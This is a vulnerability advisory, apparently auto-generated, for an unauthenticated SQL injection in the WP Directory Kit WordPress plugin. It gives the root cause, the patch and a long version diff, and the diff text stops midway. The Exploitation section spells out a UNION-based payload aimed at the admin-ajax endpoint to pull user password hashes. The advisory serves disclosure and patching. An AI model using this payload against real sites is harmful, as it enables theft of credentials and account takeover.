Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 26, 2026

CVE-2026-39531: WP Directory Kit <= 1.5.0 – Unauthenticated SQL Injection (wpdirectorykit)

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.5.0
Patched Version 1.5.1
Disclosed April 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-39531:
A critical unauthenticated SQL Injection vulnerability in the WP Directory Kit plugin for WordPress (versions up to and including 1.5.0). The flaw resides in the Wdk_frontendajax controller, where user-supplied filter_ids parameters are directly interpolated into SQL IN clauses without adequate sanitization. An unauthenticated attacker can inject arbitrary SQL commands, leading to database information disclosure.

Root Cause:
The vulnerability exists in three locations within wpdirectorykit/application/controllers/Wdk_frontendajax.php. At lines 243, 256, and 475, the code passes the raw $parameters[‘filter_ids’] value through esc_sql() before embedding it into an SQL IN clause. However, esc_sql() only escapes string delimiters like quotes; it does not prevent injection into numeric contexts or breakouts within IN clauses. An attacker can use a closing parenthesis followed by a UNION or other SQL operator to chain arbitrary queries. The vulnerable pattern is: $this->db->where(array(… IN (‘.esc_sql($parameters[‘filter_ids’]).’)’ => NULL)).

Exploitation:
An unauthenticated attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to a value that triggers the vulnerable code path (e.g., any frontend AJAX action using filter_ids). The filter_ids parameter contains a malicious payload such as 1) UNION SELECT user_pass FROM wp_users– . The esc_sql() function does not prevent the injection because it operates on the entire string after the parenthetical wrapper; the attacker breaks out of the IN clause, appending arbitrary SQL via UNION. The response data will include the stolen database content.

Patch Analysis:
The patch in Wdk_frontendajax.php applies preg_replace(‘/[^0-9,]/’, ”, $parameters[‘filter_ids’]) before passing the value to esc_sql(). This regex strips all non-numeric characters and commas, ensuring the input contains only digits and commas. This completely neutralizes SQL injection because the input becomes a list of numeric IDs only. Additionally, the patch adds a nonce check (check_ajax_referer) and model whitelisting in select_2_ajax() for defense-in-depth.

Impact:
Successful exploitation allows an unauthenticated attacker to extract arbitrary data from the WordPress database, including user credentials (hashed passwords), email addresses, session tokens, and sensitive plugin settings. This can lead to account takeover, privilege escalation, and further compromise of the site.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpdirectorykit/application/controllers/Wdk_frontendajax.php
+++ b/wpdirectorykit/application/controllers/Wdk_frontendajax.php
@@ -240,7 +240,7 @@
 				} else {

 					if(!empty($parameters['filter_ids'])){
-						$this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql($parameters['filter_ids']).')' => NULL));
+						$this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql(preg_replace('/[^0-9,]/', '', $parameters['filter_ids'])).')' => NULL));
 					}

 					$tree_results = $this->$table->get_pagination(intval($parameters['limit']),intval($parameters['offset']), $where );
@@ -253,7 +253,7 @@
 				}

 				if(!empty($parameters['filter_ids'])){
-					$this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql($parameters['filter_ids']).')' => NULL));
+					$this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql(preg_replace('/[^0-9,]/', '', $parameters['filter_ids'])).')' => NULL));
 				}

 				if($table == 'user_m') {
@@ -472,7 +472,7 @@
             }

 			if(!empty($parameters['filter_ids'])){
-				$this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql($parameters['filter_ids']).')' => NULL));
+				$this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql(preg_replace('/[^0-9,]/', '', $parameters['filter_ids'])).')' => NULL));
 			}

 			if(!empty($parameters['hide_fields'])) {
@@ -553,6 +553,9 @@

     public function select_2_ajax($output="", $atts=array(), $instance=NULL)
     {
+
+		check_ajax_referer('wdk_secure_ajax', 'wdk_secure');
+
 		$this->load->load_helper('listing');
 		$this->load->model('listing_m');
 		$this->load->model('listingfield_m');
@@ -571,6 +574,12 @@

 		$model_name = $parameters['table'];

+		// allow only 'listing_m', 'category_m', or 'location_m' for security
+		$allowed_models = array('listing_m', 'category_m', 'location_m');
+		if (!in_array($model_name, $allowed_models)) {
+			return false;
+		}
+
 		$key_column = '';
 		$print_column = '';

--- a/wpdirectorykit/application/helpers/Basic.php
+++ b/wpdirectorykit/application/helpers/Basic.php
@@ -2845,7 +2845,7 @@
                             if( typeof jQuery.fn.wpMediaMultiple == 'function')
                                 $('#".esc_js($field_name)."meta-box-id.postbox-upload-multiple').wpMediaMultiple({
                                     frame: {
-                                        title: '".esc_js(__('Select or Upload Media Of Your Chosen Persuasion','wpdirectorykit'))."',
+                                        title: '".esc_js(__('Upload and select your images here for use with your listing','wpdirectorykit'))."',
                                         button: '".esc_js(__('Use this media','wpdirectorykit'))."',
                                     },
                                      library: {
@@ -3945,6 +3945,16 @@
         // Allow decimal precision to be filtered (default is 0)
         $decimals = apply_filters('wdk_number_format_decimals', ((wdk_get_option('wdk_number_format_decimals')) ? wdk_get_option('wdk_number_format_decimals') : 0));

+        if(!get_option('wdk_disable_custom_muber_format')) {
+            global $wp_locale;
+            return number_format(
+                $value,
+                $decimals,
+                $wp_locale->number_format['decimal_point'],
+                $wp_locale->number_format['thousands_sep']
+            );
+        }
+
         return number_format_i18n($value, $decimals);
     }
 }
--- a/wpdirectorykit/application/models/Listing_m.php
+++ b/wpdirectorykit/application/models/Listing_m.php
@@ -335,6 +335,20 @@

         $this->load->model('listingfield_m');
         $this->load->model('listingusers_m');
+
+        /* remove images direct */
+        if ( get_option('wdk_remove_direct_listing_images', false)) {
+            global $Winter_MVC_WDK;
+            $Winter_MVC_WDK->load_helper('listing');
+
+            $listing_images = wdk_field_value('listing_images', $post_id);
+            if(!empty($listing_images)) {
+                $image_ids = explode(',', $listing_images);
+                foreach ($image_ids as $key => $image_id) {
+                    wp_delete_attachment($image_id, true);
+                }
+            }
+        }

         /* remove listing */
         parent::delete($post_id);
@@ -344,6 +358,10 @@
         /* remove post */
         wp_delete_post($post_id, true);

+        // Delete listing images if setting enabled
+
+
+
         do_action('wpdirectorykit/model/listing/delete', $post_id);

         return true;
--- a/wpdirectorykit/application/models/Settings_m.php
+++ b/wpdirectorykit/application/models/Settings_m.php
@@ -159,6 +159,14 @@
                 'field_type' => 'CHECKBOX',
                 'rules' => '',
             ),
+
+            array(
+                'field' => 'wdk_disable_custom_muber_format',
+                'field_label' => __('Remove images from media when listing is removed', 'wpdirectorykit'),
+                'hint' => __('Disable the custom number format and use the default WordPress number formatting.', 'wpdirectorykit'),
+                'field_type' => 'CHECKBOX',
+                'rules' => '',
+            ),
         );

         $this->fields_list_tabs['templates'] []  = array(
@@ -278,6 +286,13 @@
                 'rules' => '',
             ),
             array(
+                'field' => 'wdk_disable_custom_muber_format',
+                'field_label' => __('Disable the custom number format', 'wpdirectorykit'),
+                'hint' => __('Disable the custom number format and use the default WordPress number formatting.', 'wpdirectorykit'),
+                'field_type' => 'CHECKBOX',
+                'rules' => '',
+            ),
+            array(
                 'field' => 'wdk_number_format_decimal_point',
                 'field_label' => __('Number Decimal Places', 'wpdirectorykit'),
                 'hint' => __('Default based on language selected in WordPress', 'wpdirectorykit'),
@@ -433,6 +448,14 @@
                 'field_type' => 'CHECKBOX',
                 'rules' => '',
             ),
+
+            array(
+                'field' => 'wdk_remove_direct_listing_images',
+                'field_label' => __('Remove images from media when listing is removed', 'wpdirectorykit'),
+                'hint' => __('Enable this option to remove attached images from the media library automatically when a listing is deleted.', 'wpdirectorykit'),
+                'field_type' => 'CHECKBOX',
+                'rules' => '',
+            ),
             array(
                 'field' => 'wdk_experimental_features',
                 'field_label' => __('Experimental features', 'wpdirectorykit'),
--- a/wpdirectorykit/application/views/frontend/result_item_card.php
+++ b/wpdirectorykit/application/views/frontend/result_item_card.php
@@ -66,7 +66,11 @@


 ?>
-<div class="wdk-listing-card <?php echo esc_attr($layout_type);?> <?php if($layout_type == 'carousel'):?> grid <?php endif;?> <?php if(wdk_get_option('wdk_is_featured_enabled', FALSE) && wmvc_show_data('is_featured', $listing, '') == 1):?> is_featured <?php endif;?> <?php if(!$infobox && wmvc_show_data('is_multiline_enabled', $resul_item_config, '') == 1):?> is_multiline_enabled <?php endif;?>">
+<div
+data-listing_url ="<?php echo esc_url($url); ?>"
+data-listing_id ="<?php echo esc_attr($wdk_listing_result_id); ?>"
+
+class="wdk-listing-card <?php if( wdk_get_option('wdk_experimental_features') && wdk_get_option('wdk_experimental_listing_popup')):?> wdk_listing_popup <?php endif;?> <?php echo esc_attr($layout_type);?> <?php if($layout_type == 'carousel'):?> grid <?php endif;?> <?php if(wdk_get_option('wdk_is_featured_enabled', FALSE) && wmvc_show_data('is_featured', $listing, '') == 1):?> is_featured <?php endif;?> <?php if(!$infobox && wmvc_show_data('is_multiline_enabled', $resul_item_config, '') == 1):?> is_multiline_enabled <?php endif;?>">
     <div class="wdk-thumbnail">

         <?php if(wdk_get_option('wdk_card_slider_enable') && !$infobox):?>
--- a/wpdirectorykit/application/views/wdk_listing/index.php
+++ b/wpdirectorykit/application/views/wdk_listing/index.php
@@ -550,7 +550,7 @@
                                         <th scope="row"><label for="is_activated"><?php echo __('Is Activated', 'wpdirectorykit'); ?></label></th>
                                         <td>
                                             <input name="is_activated" type="checkbox" id="is_activated" value="1" <?php echo !empty(wmvc_show_data('is_activated', $db_data, '')) ? 'checked' : ''; ?>><label for="is_activated"><?php echo __('Make it available for public', 'wpdirectorykit'); ?></label>
-                                            <p class="description" id="is_activated-description"><?php echo __('When listing is activated will be visible on frontend', 'wpdirectorykit'); ?></p>
+                                            <p class="description" id="is_activated-description"><?php echo __('When enabled, the listing becomes visible on the frontend. The listing owner can activate or deactivate the listing at any time.', 'wpdirectorykit'); ?></p>
                                         </td>
                                     </tr>
                                     <?php if (function_exists('run_wdk_membership')): ?>
@@ -558,7 +558,7 @@
                                             <th scope="row"><label for="is_approved"><?php echo __('Is Approved', 'wpdirectorykit'); ?></label></th>
                                             <td>
                                                 <input name="is_approved" type="checkbox" id="is_approved" value="1" <?php echo !empty(wmvc_show_data('is_approved', $db_data, '')) ? 'checked' : ''; ?>><label for="is_approved"><?php echo __('Make it approved for public', 'wpdirectorykit'); ?></label>
-                                                <p class="description" id="is_approved-description"><?php echo __('When listing is approved will be visible on frontend', 'wpdirectorykit'); ?> (<?php echo __('only admin can approve', 'wpdirectorykit'); ?>)</p>
+                                                <p class="description" id="is_approved-description"><?php echo __('When approved, the listing is eligible to be shown on the frontend, but it must also be activated. Approval can be granted by an admin, and for certain membership packages, listings may be auto-approved if configured.', 'wpdirectorykit'); ?> (<?php echo __('only admin can approve', 'wpdirectorykit'); ?>)</p>
                                             </td>
                                         </tr>
                                     <?php endif; ?>
--- a/wpdirectorykit/elementor-elements/classes/wdk-field-value.php
+++ b/wpdirectorykit/elementor-elements/classes/wdk-field-value.php
@@ -214,7 +214,7 @@
                     } elseif (wdk_field_option(wmvc_show_data('idfield', $this->data['settings']['field_id']), 'validation') == 'is_phone|wdk_viber') {
                         $this->data['field_value'] = '<a class="value" href="viber://chat?number=' . wdk_filter_viber_phone($this->data['field_value']) . '">' . $this->_generate_label() . '</a>';
                     } elseif (wdk_field_option(wmvc_show_data('idfield', $this->data['settings']['field_id']), 'validation') == 'is_phone|wdk_whatsapp') {
-                        $this->data['field_value'] = '<a class="value" href="//wa.me/' . wdk_filter_phone($this->data['field_value']) . '">' . $this->_generate_label() . '</a>';
+                        $this->data['field_value'] = '<a class="value" target="_blank" href="//wa.me/' . wdk_filter_phone($this->data['field_value']) . '">' . $this->_generate_label() . '</a>';
                     }
                 } elseif ($this->data['settings']['field_id'] == 'category_id') {
                     if (wdk_field_value($this->data['settings']['field_id'], $wdk_listing_id)) {
--- a/wpdirectorykit/elementor-elements/classes/wdk-listing-agent.php
+++ b/wpdirectorykit/elementor-elements/classes/wdk-listing-agent.php
@@ -172,8 +172,8 @@
         $this->data['listing_agency'] = false;
         if($this->data['settings']['listing_agency_disabled'] !='yes') {
             if(function_exists('run_wdk_membership') && file_exists(WDK_MEMBERSHIP_PATH.'application/models/Agency_agent_m.php')) {
-                if(wmvc_show_data('user_id_editor', $listing, '',TRUE, TRUE)) {
-                    $Winter_MVC_wdk_membership->model('agency_agent_m');
+                if(!empty($Winter_MVC_wdk_membership) && wmvc_show_data('user_id_editor', $listing, '',TRUE, TRUE)) {
+                    $Winter_MVC_wdk_membership->model('agency_agent_m');
                     $agent_id = wmvc_show_data('user_id_editor', $listing, '',TRUE, TRUE);
                     $agent_agency = $Winter_MVC_wdk_membership->agency_agent_m->get_by(array('agent_id' => $agent_id, 'status' => 'CONFIRMED'), TRUE);
                     if($agent_agency) {
--- a/wpdirectorykit/elementor-elements/classes/wdk-listing-slider.php
+++ b/wpdirectorykit/elementor-elements/classes/wdk-listing-slider.php
@@ -139,7 +139,10 @@
         $this->data['id_element'] = $this->get_id();
         $this->data['settings'] = $this->get_settings();

+        $this->data['plans_exists'] = false;
         $this->data['images'] = array();
+        $this->data['images_fields'] = array();
+
         if(!Plugin::$instance->editor->is_edit_mode()) {
             $this->data['images'] = wdk_listing_images_data (array('listing_images'=>wdk_field_value ('listing_images', $wdk_listing_id)), 'full');
             $this->data['images'] = array_slice($this->data['images'], ($this->data['settings']['offset_images']-1), $this->data['settings']['limit_images']);
@@ -147,6 +150,44 @@
             $this->data['images'] = array_fill(0, $this->data['settings']['limit_images'], wdk_placeholder_image_src());
         }

+        if(!Plugin::$instance->editor->is_edit_mode() && !empty($this->data['settings']['plans_enable'])) {
+            $plan_images = wdk_listing_images_data(wdk_field_value('listing_plans_documents', $wdk_listing_id), 'full');
+            if (!empty($plan_images) && is_array($plan_images)) {
+                foreach ($plan_images as $k => $v) {
+                    $this->data['images']['plans__'.$k] = $v;
+                }
+                $this->data['plans_exists'] = true;
+            }
+        }
+
+        if(!empty($this->data['settings']['gallery_fields'])) {
+            foreach ($this->data['settings']['gallery_fields'] as $key => $field_id) {
+                if(strpos( $field_id,'__') !== FALSE){
+                    $field_id = substr( $field_id, strpos($field_id, '__')+2);
+                }
+
+                $this->data['images_fields'][$field_id] = [];
+
+                $field_value = wdk_field_value($field_id, $wdk_listing_id);
+                $images = $this->data['images_fields'][$field_id] = wdk_files_data($field_value, 'full');
+                if (!empty($images) && is_array($images)) {
+                    foreach ($images as $k => $v) {
+                        $this->data['images'][$field_id.'__'.$k] = $v;
+                    }
+                }
+            }
+        }
+
+        if(!empty($this->data['settings']['embed_fields'])) {
+            foreach ($this->data['settings']['embed_fields'] as $key => $field_id) {
+                if(strpos( $field_id,'__') !== FALSE){
+                    $field_id = substr( $field_id, strpos($field_id, '__')+2);
+                }
+                $images =  $this->data['images_fields'][$field_id] = wdk_field_value($field_id, $wdk_listing_id);
+                $this->data['images'][$field_id.'__'.$key] = $images;
+            }
+        }
+
         $this->data['is_edit_mode']= false;
         if(Plugin::$instance->editor->is_edit_mode()) {
             $this->data['is_edit_mode']= true;
@@ -180,6 +221,61 @@
             ]
         );

+        $this->add_control(
+            'plans_enable',
+            [
+                'label' => __( 'Plans Enable', 'wdk-listing-sliders' ),
+                'type' => ElementorControls_Manager::SWITCHER,
+                'label_on' => __( 'On', 'wdk-listing-sliders' ),
+                'label_off' => __( 'Off', 'wdk-listing-sliders' ),
+                'return_value' => 'yes',
+                'default' => '',
+            ]
+        );
+
+
+        $fields_data = wdk_cached_field_get();
+        $fields_list_files = array('' => esc_html__('Not Selected', 'wpdirectorykit'));
+        $fields_list_embed = array('' => esc_html__('Not Selected', 'wpdirectorykit'));
+        $order_i = 0;
+        foreach($fields_data as $field)
+        {
+            if(wmvc_show_data('field_type', $field) == 'FILEUPLOAD') {
+                $fields_list_files[(++$order_i).'__'.wmvc_show_data('idfield', $field)] = '#'.wmvc_show_data('idfield', $field).' '.wmvc_show_data('field_label', $field).'['.wmvc_show_data('field_type', $field).']';
+            }
+            if(wmvc_show_data('field_type', $field) == 'INPUTBOX') {
+                $fields_list_embed[(++$order_i).'__'.wmvc_show_data('idfield', $field)] = '#'.wmvc_show_data('idfield', $field).' '.wmvc_show_data('field_label', $field).'['.wmvc_show_data('field_type', $field).']';
+            }
+        }
+
+
+        $this->add_control(
+            'gallery_fields',
+            [
+                'label' => __( 'Add Custom Gallery Fields', 'wpdirectorykit' ),
+                'type' => ElementorControls_Manager::SELECT2,
+                'options' => $fields_list_files,
+                'multiple' => true,
+                'default' => [],
+                'label_block' => true,
+                'description' => __( 'Select one or more fields to use as gallery sources.', 'wpdirectorykit' ),
+            ]
+        );
+
+        $this->add_control(
+            'embed_fields',
+            [
+                'label' => __( 'Add Embed Fields', 'wpdirectorykit' ),
+                'type' => ElementorControls_Manager::SELECT2,
+                'options' => $fields_list_embed,
+                'multiple' => true,
+                'default' => [],
+                'label_block' => true,
+                'separator' => 'after',
+                'description' => __( 'Select one or more fields to use as embed sources.', 'wpdirectorykit' ),
+            ]
+        );
+
         $this->add_control(
 			'limit_images',
 			[
--- a/wpdirectorykit/elementor-elements/views/wdk-listing-agent.php
+++ b/wpdirectorykit/elementor-elements/views/wdk-listing-agent.php
@@ -60,7 +60,7 @@
                         <?php elseif(strpos($meta['meta_field'],'telegram') !== FALSE):?>
                             <div class="meta-item <?php echo esc_html($meta['meta_field']);?>"><a href="<?php echo esc_url($value);?>"><i class="fa fa-telegram"></i><?php echo esc_html($value);?></a></div>
                         <?php elseif(strpos($meta['meta_field'],'whatsapp') !== FALSE):?>
-                            <div class="meta-item <?php echo esc_html($meta['meta_field']);?>"><a href="//wa.me/<?php echo esc_attr(wdk_filter_phone($value));?>"><i class="fa fa-whatsapp"></i><?php echo esc_html($value);?></a></div>
+                            <div class="meta-item <?php echo esc_html($meta['meta_field']);?>"><a target="_blank" href="//wa.me/<?php echo esc_attr(wdk_filter_phone($value));?><?php echo '?text=' . rawurlencode(wdk_server_current_url()) . '%20' . ( ! empty(wmvc_show_data('wdk_whatsapp_message', $userdata)) ? rawurlencode(wmvc_show_data('wdk_whatsapp_message', $userdata, '')) : '' ); ?>"><i class="fa fa-whatsapp"></i><?php echo esc_html($value);?></a></div>
                         <?php elseif(strpos($meta['meta_field'],'viber') !== FALSE):?>
                             <div class="meta-item <?php echo esc_html($meta['meta_field']);?>"><a href="viber://chat?number=<?php echo esc_attr(wdk_filter_phone($value));?>"><i class="fab fa-viber"></i><?php echo esc_html($value);?></a></div>
                         <?php elseif(filter_var($value, FILTER_VALIDATE_URL) !== FALSE):?>
@@ -126,7 +126,11 @@
                             <?php elseif(strpos($meta['meta_field'],'telegram') !== FALSE):?>
                                 <div class="meta-item <?php echo esc_html($meta['meta_field']);?>"><a href="<?php echo esc_url($value);?>"><i class="fa fa-telegram"></i><?php echo esc_html($value);?></a></div>
                             <?php elseif(strpos($meta['meta_field'],'whatsapp') !== FALSE):?>
-                                <div class="meta-item <?php echo esc_html($meta['meta_field']);?>"><a href="//wa.me/<?php echo esc_attr(wdk_filter_phone($value));?>"><i class="fa fa-whatsapp"></i><?php echo esc_html($value);?></a></div>
+                                <div class="meta-item <?php echo esc_html($meta['meta_field']);?>">
+                                    <a href="https://wa.me/<?php echo esc_attr(wdk_filter_phone($value)); ?><?php echo '?text=' . rawurlencode(wdk_server_current_url()) . '%20' . ( ! empty(wmvc_show_data('wdk_whatsapp_message', $userdata)) ? rawurlencode(wmvc_show_data('wdk_whatsapp_message', $userdata, '')) : '' ); ?>">
+                                        <i class="fa fa-whatsapp"></i><?php echo esc_html($value); ?>
+                                    </a>
+                                </div>
                             <?php elseif(strpos($meta['meta_field'],'viber') !== FALSE):?>
                                 <div class="meta-item <?php echo esc_html($meta['meta_field']);?>"><a href="viber://chat?number=<?php echo esc_attr(wdk_filter_phone($value));?>"><i class="fab fa-viber"></i><?php echo esc_html($value);?></a></div>
                             <?php elseif(filter_var($value, FILTER_VALIDATE_URL) !== FALSE):?>
@@ -198,7 +202,7 @@
                                 <?php elseif(strpos($meta['meta_field'],'telegram') !== FALSE):?>
                                     <div class="meta-item <?php echo esc_html($meta['meta_field']);?>"><a href="<?php echo esc_url($value);?>"><i class="fa fa-telegram"></i><?php echo esc_html($value);?></a></div>
                                 <?php elseif(strpos($meta['meta_field'],'whatsapp') !== FALSE):?>
-                                    <div class="meta-item <?php echo esc_html($meta['meta_field']);?>"><a href="//wa.me/<?php echo esc_attr(wdk_filter_phone($value));?>"><i class="fa fa-whatsapp"></i><?php echo esc_html($value);?></a></div>
+                                    <div class="meta-item <?php echo esc_html($meta['meta_field']);?>"><a target="_blank" href="//wa.me/<?php echo esc_attr(wdk_filter_phone($value));?><?php echo '?text=' . rawurlencode(wdk_server_current_url()) . '%20' . ( ! empty(wmvc_show_data('wdk_whatsapp_message', $userdata)) ? rawurlencode(wmvc_show_data('wdk_whatsapp_message', $userdata, '')) : '' ); ?>"><i class="fa fa-whatsapp"></i><?php echo esc_html($value);?></a></div>
                                 <?php elseif(strpos($meta['meta_field'],'viber') !== FALSE):?>
                                     <div class="meta-item <?php echo esc_html($meta['meta_field']);?>"><a href="viber://chat?number=<?php echo esc_attr(wdk_filter_phone($value));?>"><i class="fab fa-viber"></i><?php echo esc_html($value);?></a></div>
                                 <?php elseif(filter_var($value, FILTER_VALIDATE_URL) !== FALSE):?>
--- a/wpdirectorykit/elementor-elements/views/wdk-listing-fields-section.php
+++ b/wpdirectorykit/elementor-elements/views/wdk-listing-fields-section.php
@@ -125,7 +125,7 @@
                                             $field_value  = '<a href="viber://chat?number='.wdk_filter_viber_phone($field_value) .'">'.$field_value .'</a>';
                                         }
                                         elseif(wdk_field_option (wmvc_show_data('idfield', $field), 'validation') == 'is_phone|wdk_whatsapp') {
-                                            $field_value  = '<a href="//wa.me/'.wdk_filter_phone($field_value) .'">'.$field_value .'</a>';
+                                            $field_value  = '<a target="_blank" href="//wa.me/'.wdk_filter_phone($field_value) .'">'.$field_value .'</a>';
                                         }
                                     }
                                     elseif(wmvc_show_data('idfield', $field) == 'category_id') {
--- a/wpdirectorykit/elementor-elements/views/wdk-listing-slider.php
+++ b/wpdirectorykit/elementor-elements/views/wdk-listing-slider.php
@@ -1,135 +1,278 @@
 <?php
+
 /**
  * The template for Element Listing Images Slider.
  * This is the template that elementor element slider, carousel
  *
  */

-if ( ! defined( 'ABSPATH' ) ) {
-	exit; // Exit if accessed directly.
+if (! defined('ABSPATH')) {
+    exit; // Exit if accessed directly.
 }
-
 ?>
-<div class="wdk-element" id="wdk_el_<?php echo esc_html($id_element);?>">
+<div class="wdk-element" id="wdk_el_<?php echo esc_html($id_element); ?>">
     <div class="wdk-listing-slider">
-        <?php if(count($images) > 0):?>
-            <div class="<?php if($settings['popup_enable'] == 'yes'):?> wdk_js_gallery <?php endif;?> wdk_listing_slider_box <?php echo esc_attr($settings['layout_carousel_animation_style']).'_animation';?> <?php echo esc_attr(join(' ', [$settings['styles_carousel_dots_position_style'], $settings['styles_carousel_arrows_position_style'],$settings['styles_carousel_arrows_position'],$settings['styles_carousel_arrows_position_style']]));?>">
-                <div class="wdk_listing_slider_ini">
-                <?php foreach($images as $image):?>
-                    <?php if(!wmvc_show_data('wdk_listing_video_disabled',$settings, false) && wdk_file_extension_type(wmvc_show_data('src',$image)) == 'video'):?>
-                        <div class="wdk-col">
-                            <div class="wdk-listing-image-card">
-                                <video controls src="<?php echo esc_url(wmvc_show_data('src',$image));?>"  alt="<?php echo esc_attr(wmvc_show_data('alt',$image));?>" class="wdk-listing-image <?php if($settings['enable_fixed_height']!='yes'):?> auto_height <?php endif;?>"></video>
-                            </div>
-                        </div>
-                    <?php elseif(wdk_file_extension_type(wmvc_show_data('src',$image)) == 'image'):?>
-                        <div class="wdk-col">
-                            <div class="wdk-listing-image-card">
-                                <img src="<?php echo esc_url(wmvc_show_data('src',$image));?>" class="wdk-listing-image <?php if($settings['enable_fixed_height']!='yes'):?> auto_height <?php endif;?>" alt="<?php echo esc_attr(wmvc_show_data('alt',$image));?>">
-                            </div>
-                        </div>
-                    <?php endif;?>
-                <?php endforeach;?>
+        <?php if (count($images) > 0): ?>
+            <?php if (!empty($images) && ($plans_exists || $images_fields || $images_fields)): ?>
+                <div class="wdk-listing-slider--tabs">
+                    <a data-filter="gallery" href="#" class="wdk-listing-slider--tabs--btn">
+                        <?php echo esc_html__('Gallery', 'wpdirectorykit'); ?>
+                    </a>

-                <?php if(!empty($images) && wmvc_show_data('layout_carousel_columns', $settings,1) < wmvc_count($images)):?>
-                    </div>
-                        <div class="wdk-listing-slider_arrows">
-                            <a title="<?php echo esc_attr__('prev slider', 'wpdirectorykit');?>" href="#" class="wdk-slider-prev wdk-listing-slider_arrow">
-                                <?php ElementorIcons_Manager::render_icon( $settings['styles_carousel_arrows_icon_left'], [ 'aria-hidden' => 'true' ] ); ?>
-                            </a>
-                            <a title="<?php echo esc_attr__('prev slider', 'wpdirectorykit');?>" href="#" class="wdk-slider-next wdk-listing-slider_arrow">
-                                <?php ElementorIcons_Manager::render_icon( $settings['styles_carousel_arrows_icon_right'], [ 'aria-hidden' => 'true' ] ); ?>
+                    <?php if (!empty($plans_exists)): ?>
+                        <a data-filter="plans" href="#" class="wdk-listing-slider--tabs--btn">
+                            <?php echo esc_html__('Plans', 'wpdirectorykit'); ?>
+                        </a>
+                    <?php endif; ?>
+                    <?php if (!empty($images_fields)): ?>
+                        <?php foreach ($images_fields as $field_id => $field_images): ?>
+                            <a data-filter="<?php echo esc_attr($field_id); ?>" href="#" class="wdk-listing-slider--tabs--btn">
+                                <?php echo esc_html(wdk_field_label($field_id)); ?>
                             </a>
-                        </div>
-                    </div>
-                <?php else:?>
-                </div>
+                        <?php endforeach; ?>
+                    <?php endif; ?>
                 </div>
-                <?php endif;?>
-        <?php endif;?>
+            <?php endif; ?>
+
+            <div class="<?php if ($settings['popup_enable'] == 'yes'): ?> wdk_js_gallery <?php endif; ?> wdk_listing_slider_box <?php echo esc_attr($settings['layout_carousel_animation_style']) . '_animation'; ?> <?php echo esc_attr(join(' ', [$settings['styles_carousel_dots_position_style'], $settings['styles_carousel_arrows_position_style'], $settings['styles_carousel_arrows_position'], $settings['styles_carousel_arrows_position_style']])); ?>">
+                <div class="wdk_listing_slider_ini">
+                    <?php foreach ($images as $key => $image): ?>
+                        <?php
+                        $type = 'gallery';
+                        if (strpos($key, '__') !== FALSE) {
+                            $type = substr($key, 0, strpos($key, '__'));
+                        }
+                        ?>
+                        <?php if (
+                            is_string($image) && (
+                                filter_var($image, FILTER_VALIDATE_URL) ||
+                                preg_match('/^www./i', $image)
+                            )
+                        ): ?>
+                            <div class="wdk-col">
+                                <div class="wdk-listing-image-card">
+
+
+                                    <?php if (strpos($image, 'vimeo.com') !== FALSE): ?>
+                                        <div
+                                            data-type="<?php echo esc_html($type); ?>"
+                                            class="wdk-listing-image wdk-listing-video-embed<?php if ($settings['enable_fixed_height'] != 'yes'): ?> auto_height<?php endif; ?>">
+                                            <?php echo wp_oembed_get($image, array("width" => "800", "height" => "450")); ?>
+                                        </div>
+                                    <?php elseif (strpos($image, 'watch?v=') !== FALSE): ?>
+                                        <?php $embed_code = substr($image, strpos($image, 'watch?v=') + 8); ?>
+                                        <div
+                                            data-type="<?php echo esc_html($type); ?>"
+                                            class="wdk-listing-image wdk-listing-video-embed<?php if ($settings['enable_fixed_height'] != 'yes'): ?> auto_height<?php endif; ?>">
+                                            <?php echo wp_oembed_get('https://www.youtube.com/watch?v=' . $embed_code, array("width" => "800", "height" => "455")); ?>
+                                        </div>
+                                    <?php elseif (strpos($image, 'youtube.com/shorts/') !== FALSE): ?>
+                                        <?php $embed_code = substr($image, strpos($image, 'shorts') + 7); ?>
+                                        <div
+                                            data-type="<?php echo esc_html($type); ?>"
+                                            class="wdk-listing-image wdk-listing-video-embed<?php if ($settings['enable_fixed_height'] != 'yes'): ?> auto_height<?php endif; ?>">
+                                            <?php echo wp_oembed_get('https://www.youtube.com/watch?v=' . $embed_code, array("width" => "800", "height" => "455")); ?>
+                                        </div>
+                                    <?php elseif (strpos($image, 'youtu.be/') !== FALSE): ?>
+                                        <?php $embed_code = substr($image, strpos($image, 'youtu.be/') + 9); ?>
+                                        <div
+                                            data-type="<?php echo esc_html($type); ?>"
+                                            class="wdk-listing-image wdk-listing-video-embed<?php if ($settings['enable_fixed_height'] != 'yes'): ?> auto_height<?php endif; ?>">
+                                            <?php echo wp_oembed_get('https://www.youtube.com/watch?v=' . $embed_code, array("width" => "800", "height" => "455")); ?>
+                                        </div>
+                                    <?php elseif (filter_var($image, FILTER_VALIDATE_URL) !== FALSE && preg_match('/.(mp4|flv|wmw|ogv|webm|ogg)$/i', $image)): ?>
+                                        <video
+                                            src="<?php echo esc_url($image); ?>"
+                                            controls
+                                            data-type="<?php echo esc_html($type); ?>"
+                                            class="wdk-listing-image<?php if ($settings['enable_fixed_height'] != 'yes'): ?> auto_height<?php endif; ?>"></video>

-        <?php if(count($images) > 1):?>
-            <div class="banner-thumbs-con elementor-section elementor-section-boxed">
-                <div class="elementor-container">
-                    <div class="banner-thumbs">
-                        <?php foreach($images as $image):?>
-                            <?php if(!wmvc_show_data('wdk_listing_video_disabled',$settings, false) && wdk_file_extension_type(wmvc_show_data('src',$image)) == 'video'):?>
-                                <div class="banner-thumb">
-                                    <video src="<?php echo esc_url(wmvc_show_data('src',$image));?>"  alt="<?php echo esc_attr(wmvc_show_data('alt',$image));?>" class="wdk-listing-image <?php if($settings['enable_fixed_height']!='yes'):?> auto_height <?php endif;?>"></video>
+                                    <?php else: ?>
+                                        <iframe
+                                            data-type="<?php echo esc_html($type); ?>"
